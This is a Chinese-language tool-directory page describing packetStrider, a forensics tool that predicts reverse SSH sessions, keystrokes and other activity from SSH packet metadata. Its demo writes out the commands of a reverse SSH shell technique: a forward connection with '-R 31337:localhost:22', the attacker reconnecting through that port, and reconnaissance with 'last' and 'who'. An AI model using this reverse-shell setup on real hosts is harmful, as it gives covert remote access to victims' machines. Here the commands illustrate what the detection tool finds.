Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
packetStrider — 一个用于SSH的网络数据包取证工具 | Kitploit
工具/GitHubGitHub/benjeems/packetstrider
数据包嗅探与分析网络取证取证分析渗透测试机器学习入侵检测红队异常检测
GitHubbenjeems/packetstrider

packetStrider

一个用于SSH的网络数据包取证工具

查看仓库
2543966年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Packet Strider (v0.21)

alt text

概要

packetStrider for SSH 是一款数据包取证工具,旨在提供关于 SSH 流量本质的宝贵洞察,照亮 SSH 网络流量的角落,让之前隐藏在黑暗中的信息金块得以显现。

packetStrider 旨在解决的问题(又名:为什么?)

SSH 显然是加密的,但网络流量中仍然存在有价值的上下文信息,这些信息可用于 TTP、意图、行动的成功与否以及规模。甚至可能存在这样的情况:主机上无法获取或已删除了有价值的上下文信息,因此拥有一个不可变、不可更改的被动网络捕获数据可以提供额外的取证上下文。"数据包不说谎"。

除了取证上下文之外,packetStrider 的预测还可以主动使用,例如,如果预测到隧道化反向 SSH 会话启动功能(甚至在反向认证被提供之前),则可以对正向连接进行 shun/RST。

packetStrider 的广泛技术(又名:如何实现?)

  • 以 pandas dataframes 的形式构建丰富的特征集。从数据包元数据(如 SSH 协议消息内容、归一化统计量、方向、大小、延迟和滑动窗口特征)中工程化出 40 多个特征。
  • 使用滑动窗口(灵感来自卷积神经网络)多次步进遍历该特征集,以预测:
    • 正向会话中使用了 -R 选项——这使得稍后在会话中建立反向连接成为可能。该痕迹在会话早期、正向会话认证后立即被发现。这是反向会话可能存在的第一个可用警告信号。
    • 反向 SSH 会话的启动,该动作可在正向会话中的任何时刻(早期或晚期)发生。这会在反向会话成功认证之前被发现。这是第二个警告信号,表明反向会话已经被请求并设置为认证。
    • 反向会话认证的成功和/或失败。这是第三个也是最后一个警告信号,此后你知道有人通过反向会话进入了你的主机。
    • 使用了 -A 选项(SSH 代理转发),它使客户端能够与服务器共享其本地 SSH 私钥。该功能通常被认为是危险的。 参考资料: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
    • 按流逐个进行的所有预测和元数据报告。
    • 基于时间差的人类行为或脚本行为。
    • 服务器是否已被客户端知晓?还是这是两者之间的首次连接?通过与 known_hosts 相关的数据包时间差来判断。
    • 是否使用了客户端证书或密码认证,以及密码长度是否为 8 个字符或更少。
    • 按键、删除键按下、回车键按下(剪贴粘贴和上/下键为 YMMV/实验性)。
    • 正向和反向会话中的数据渗出/注入移动预测。
    • 同时适用于交互式会话和基于文件的 SSH 文件传输应用(如 scp、putty、cyberduck 等)。

开始使用

使用 Python3,你需要以下模块(Python2 下可能不保证兼容):

pip3 install pandas matplotlib pyshark

用法:

python3 packetStrider-ssh.py -h

输出:

root@kitploit:~
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                             [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                             [-w WINDOW] [-s STRIDE]

packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  pcap file to analyze
  -n NSTREAM, --nstream NSTREAM
                        Perform analysis only on stream n
  -m, --metaonly        Display stream metadata only
  -k, --keystrokes      Perform keystroke prediction
  -p, --predict_plot    Plot data movement and keystrokes
  -z ZOOM, --zoom ZOOM  Narrow down/zoom the analysis and plotting to only
                        packets "x-y"
  -d DIRECTION, --direction DIRECTION
                        Perform analysis on SSH direction : "forward",
                        "reverse" OR "both"
  -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                        Directory to output plots
  -w WINDOW, --window WINDOW
                        Sliding window size, # of packets to side of window
                        center packet, default is 2
  -s STRIDE, --stride STRIDE
                        Stride between sliding windows, default is 1

示例

pcap 文件 "forward_reverse.pcap" 来源于反向 SSH shell 的常见 TTP,是所有红队的首选。具体使用了以下命令,以简单方式突出 packet strider 的能力:

  • 来自受害者的正向连接

    • 正向会话的命令是 ssh [email protected] -R 31337:localhost:22,该命令绑定本地端口 31337,为反向 SSH 连接准备回连到受害者 PC。该连接可以通过多种方式实现,包括手动、利用 RCE、SSRF 或某种形式的持久化。对于本演示,它是一个手动的标准正向会话。
    • 这不是客户端第一次看到该服务器,我们通过相关数据包的时间差非常小可以看出,服务器的密钥指纹已经存在于客户端的 known_hosts 中,因此用户没有被提示添加它——这本来会增加数据包的延迟。
    • 人类发起的两次连续失败的密码登录,随后使用一个 8 个以上字符的密码成功登录。
    • 在正向会话中输入了 ls,顺序为:'l' 'w' 'w' 'back-space' 'back-space' 's',然后回车。通过线路传输的数据总大小(作为 ls 的输出)被归类为渗透(infiltration),因为是入站数据。
  • 现在在攻击者的机器(服务器)上,反向 shell 被发起回连到受害者:

    • ssh victim@localhost -p 31337。此时,甚至在认证过程开始之前,packet strider 已在数据包 72 处识别到反向 SSH 会话启动。
    • 现在攻击者在受害者主机上获得了反向 shell。从那里可以关闭历史设置,并运行任何横向移动或破坏行为。本演示中的简单示例包括初步的用户侦察。
    • 运行了 last,以按键形式:'l' 'a' 's' 'r' 'delete' 't' 'enter'
    • 运行了 who,以按键形式:'w' 'h' 'o' 'enter'
    • 运行了 exit,以按键形式:'e' 'x' 'i' 't'
  • 最后,正向会话被关闭,只是证明正向 SSH 特征检测仍然有效。

    • exit

该活动的网络流量被保存到 tcpdump.pcap,现在运行 Packet Strider。

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

alt text

该图显示了关键预测的时间线(此图片已添加注释) alt text

该图显示了一些窗口统计信息,适用于深入分析和实验特征。 alt text

该图显示了一个简单的直方图。 alt text

灵感

该项目是个人概念验证,是我练习 Python 中一些数据科学库的方式,主要灵感来自我在 Coursera 上关于机器学习和数据科学的学习,特别是 pandas 库以及卷积神经网络(CNN)使用滑动窗口“步进”遍历图像像素集以检测特定特征的方式。

提示

Packet Strider 在全功能模式下会执行大量的“步进”操作。如果 pcap 文件很大,或者更精确地说,如果 pcap 中有很多数据包,这可能会导致相当大的资源使用。以下是一些加速提示,特别适用于初始运行,例如仅查看是否预测到反向 SSH 活动,然后根据需要添加功能。

  • 确保你运行的是最新补丁的模块,这些模块承担了繁重的工作,例如 pyshark/tshark、pandas 和 matplotlib。
  • -p --predict_plot 选项是资源最密集的操作。考虑仅运行输出到终端,然后根据需要决定是否绘图。
  • 使用 -m --metaonly 选项。这仅检索高级元数据,如协议名称和 HASSH 数据。这对于快速确定你正在处理的是 OpenSSH 的交互式会话还是像 Cyberduck 这样的文件传输客户端非常有用。
  • 预先将 pcap 过滤为 SSH 流量。
  • 预先将 pcap 过滤到你想要的流,这可以通过先使用快速的 -m --metaonly 选项运行来了解。你可以使用 -n NSTREAM 选项仅检查流 "NSTREAM",或者使用 wireshark 等进行预过滤。
  • 有时你可能会在非常大的数据包集中的子集中发现有趣的内容。这里你可以使用缩放功能,只检查和绘制你感兴趣的区域的数据包。使用 -z ZOOM, --zoom ZOOM 实现。例如 -z 100-500
  • 大多数时候你会对了解按键活动感兴趣,因此不使用 -k 选项虽然会节省处理速度,但也意味着你不会获得这一宝贵的洞察。

待办事项

  • 更多协议!
  • 研究多线程,看看能否提高处理速度。
  • 提高脚本效率,特别是绘图时间。
  • 改进粘贴指示器。
  • 改进上/下键指示器。
  • 使用 imagemagick 或类似工具注释图表。
  • 改进报告功能,写入磁盘。
  • 反向键指示器比较保守,因为数据包封装可能导致报告两个按键。正向按键不存在此问题,因为数据包顺序已经处理了乱序情况。研究解决方案。
  • 移植到 golang 以提高速度。
  • 实时模式。
  • 研究通过正向连接额外隧道化本地端口的影响。

免责声明

使用风险自负。请参阅许可条款。

下载工具